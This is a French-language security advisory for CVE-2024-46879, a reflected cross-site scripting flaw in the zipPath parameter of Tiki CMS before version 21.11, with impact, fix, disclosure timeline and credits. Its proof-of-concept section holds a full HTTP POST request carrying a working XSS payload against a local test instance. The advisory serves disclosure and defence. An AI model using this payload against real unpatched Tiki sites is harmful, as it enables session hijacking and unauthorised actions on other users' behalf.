CVE-2024-46879 - Vulnérabilité de Cross-Site Scripting (XSS) réfléchi dans Tiki CMS

Tiki CMS - Vulnérabilité de Cross-Site Scripting (XSS) réfléchi dans le paramètre 'zipPath'

Avertissement

Destiné uniquement à des fins éducatives, de recherche et défensives. Toute utilisation non autorisée contre des systèmes sans permission est illégale.

Résumé

Une vulnérabilité de Cross-Site Scripting (XSS) réfléchi existe dans les données POST du paramètre zipPath de tiki-admin_system.php dans les versions de Tiki antérieures à la version 21.11. Cette vulnérabilité permet aux attaquants d'exécuter du code JavaScript arbitraire via une charge utile conçue, conduisant à un accès potentiel à des informations sensibles ou à des actions non autorisées.

Produit(s) concerné(s)

• Produit : Tiki CMS Groupware
• Versions : antérieures à 21.11
• Composant : tiki-admin_system.php

Détails de la vulnérabilité

La vulnérabilité est causée par un assainissement incorrect des entrées du paramètre zipPath dans tiki-admin_system.php. L'entrée fournie par l'utilisateur est reflétée dans la réponse HTTP sans encodage suffisant, permettant l'exécution de JavaScript injecté.

Impact

Permet à un attaquant authentifié d'exécuter du JavaScript arbitraire dans le navigateur d'un autre utilisateur via une requête conçue, pouvant conduire à un détournement de session ou à des actions non autorisées.

Preuve de concept (PoC)

Request

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

Correction

Le problème a été corrigé dans Tiki CMS Groupware version 21.11. Les utilisateurs sont invités à mettre à niveau vers cette version ou une version corrigée ultérieure.

Référence du fournisseur : https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

Calendrier

• Signalé au fournisseur : 5 septembre 2024
• Accusé de réception du fournisseur : 16 septembre 2024
• Corrigé dans la version 21.11 : 3 janvier 2025
• Divulgation publique (via ce dépôt) : 23 mars 2026

Crédits

• Sheela Sarva, Qualys
• Mayank Deshmukh, Qualys

Référence

• https://www.cve.org/CVERecord?id=CVE-2024-46879
• https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended